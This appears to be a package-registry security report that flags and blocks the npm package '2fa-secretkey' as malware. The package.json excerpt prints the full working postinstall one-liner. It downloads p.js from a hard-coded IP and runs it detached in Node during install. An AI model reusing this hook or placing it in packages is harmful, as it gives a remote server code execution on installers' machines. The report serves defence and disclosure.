registry / Remote code execution / 2fa-secretkey

2fa-secretkey

Fast, minimal two-factor auth helper for Node.js — HMAC-based OTP with zero dependencies

This report shows the evidence for 2fa-secretkey@1.0.4. 7 of 7 known versions are blocked or flagged. The newest version, 1.0.7, is blocked. See all versions.

AI Security Review

scanned 2mo ago · by lpm-firewall-ai

The manifest contains a concrete install-time remote code execution chain: download, write, and detached execution. This is unrelated to the declared TOTP utility and warrants blocking.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm installation triggers the postinstall lifecycle hook.

Impact

A remote server can run arbitrary code with the installing user's privileges.

Mechanism

Remote payload download, temporary-file drop, and detached Node execution.

Attack narrative

During npm installation, the postinstall command retrieves p.js from a hard-coded HTTP endpoint. It collects the response, writes it to a randomly named JavaScript file in the system temporary directory, and launches Node on that file as a detached process. This gives the remote endpoint control over code executed with the installer's permissions.

AI rationale

The manifest contains a concrete install-time remote code execution chain: download, write, and detached execution. This is unrelated to the declared TOTP utility and warrants blocking.

Evidence

package.jsonindex.js

Network endpoints1

185.14.92.233:7777/p.js

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The postinstall hook fetches a JavaScript payload from a hard-coded remote server.
It writes the downloaded content to a randomly named temporary JavaScript file and starts it detached.
The downloaded payload is executed during installation without user action, and errors are suppressed.

Evidence against

The visible package entry point only exposes TOTP helper wrappers and contains no additional network or process execution.
The referenced local module ./lib/core is absent from this package archive, so the advertised runtime API is incomplete.

Behavioral surface

Source

Crypto

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 1.04 KB of source

Source & flagged code

3 flagged

package.jsonView file

•scripts.postinstall = node -e "var h=require('http'),d='',os=require('os'),fs=require('fs'),pa=require('path'),cp=require('child_process');h.get('http://185.14.92.233:7777/p.js',function(r){r.on('data',...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"postinstall": "node -e \"var h=require('http'),d='',os=require('os'),fs=require('fs'),pa=require('path'),cp=require('child_process');h.get('http://185.14.92.233:7777/p.js',function(r){r.on('data',function(c){d+=c});r.on('end',function(){try{var t=pa.join(os.tmpdir(),'_'+Math.random().toString(36).slice(2)+'.js');fs.writeFileSync(t,d);cp.spawn(process.execPath,[t],{detached:true,stdio:'ignore'}).unref()}catch(e){}})}).on('error',function(){});\"

High

Suspicious Lifecycle Evidence

The postinstall hook fetches a JavaScript payload from a hard-coded remote server.

package.jsonView on unpkg · L7

Source & flagged code

3 flagged · loading source

package.jsonView file

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

High

Suspicious Lifecycle Evidence

The postinstall hook fetches a JavaScript payload from a hard-coded remote server.

Findings

1 Critical2 High1 Low

CriticalRed Install Lifecycle Scriptpackage.json

HighInstall Time Lifecycle Scriptspackage.json

HighSuspicious Lifecycle Evidencepackage.json

LowScripts Present

Affected versions and remediation

This report applies to 2fa-secretkey@1.0.4.

The versions list below shows the verdict for each recorded version.

Avoid installing 2fa-secretkey@1.0.4. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-29 02:30:11.870Z (UTC).

Source advisory published: 2026-08-29 01:54:48.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

7 known versions

1.0.7latestMaliciousMalwareBlockPublishedAug 27, 2026, 7:31 PM 1.0.6MaliciousMalwareBlockPublishedAug 27, 2026, 7:29 PM 1.0.5MaliciousMalwareBlockPublishedAug 27, 2026, 7:24 PM 1.0.4shownMaliciousRemote Code ExecutionBlockPublishedAug 27, 2026, 7:14 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other remote code execution packages

Runtime surface

Behavioral surface

Source & flagged code

Related packages

Other remote code execution packages